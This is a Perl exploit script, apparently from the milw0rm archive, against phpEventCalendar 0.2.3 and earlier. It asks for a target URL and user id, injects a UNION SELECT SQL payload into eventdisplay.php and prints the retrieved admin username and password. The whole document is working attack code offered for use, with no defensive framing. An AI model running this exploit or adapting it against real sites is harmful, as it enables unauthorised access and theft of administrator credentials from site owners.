phpEventCalendar <= 0.2.3 (eventdisplay.php) SQL Injection Exploit

#!/usr/bin/perl # # Vendor url: www.ikemcg.com # require LWP::UserAgent; print &#34;# # phpEventCalendar &#60;= v0.2.3 SQL Injection Exploit # By Iron - ironwarez.info # Thanks to Silentz for the help :) # Greets to everyone at RootShell Security Group & dHack # # Example target url: http://www.target.com/phpeventcalendar/ Target url?&#34;; chomp($target=&#60;stdin&#62;); if($target !~ /^http:\/\//) { $target = &#34;http://&#34;.$target; } if($target !~ /\/$/) { $target .= &#34;/&#34;; } print &#34;User id to retrieve name/password from? (1 = admin)&#34;; chomp($target_id=&#60;stdin&#62;); $target .= &#34;eventdisplay.php?id=-999%20UNION%20SELECT%20username,password,password%20FROM%20pec_users%20WHERE%20uid=&#34;.$target_id; $ua = LWP::UserAgent-&#62;new; $ua-&#62;timeout(10); $ua-&#62;env_proxy; $response = $ua-&#62;get($target); if ($response-&#62;is_success) { if($response-&#62;content =~ /&#60;span class=&#34;display_header&#34;&#62;(.*)&#60;\/span&#62;/i) { ($username,$password) = split(/,/,$1); print &#34;Username: &#34;.$username; print &#34;\nPassword: &#34;.$password; } else { print &#34;\nUnable to retrieve username/password.&#34;; } } else { die &#34;Error: &#34;.$response-&#62;status_line; } # milw0rm.com [2007-07-01]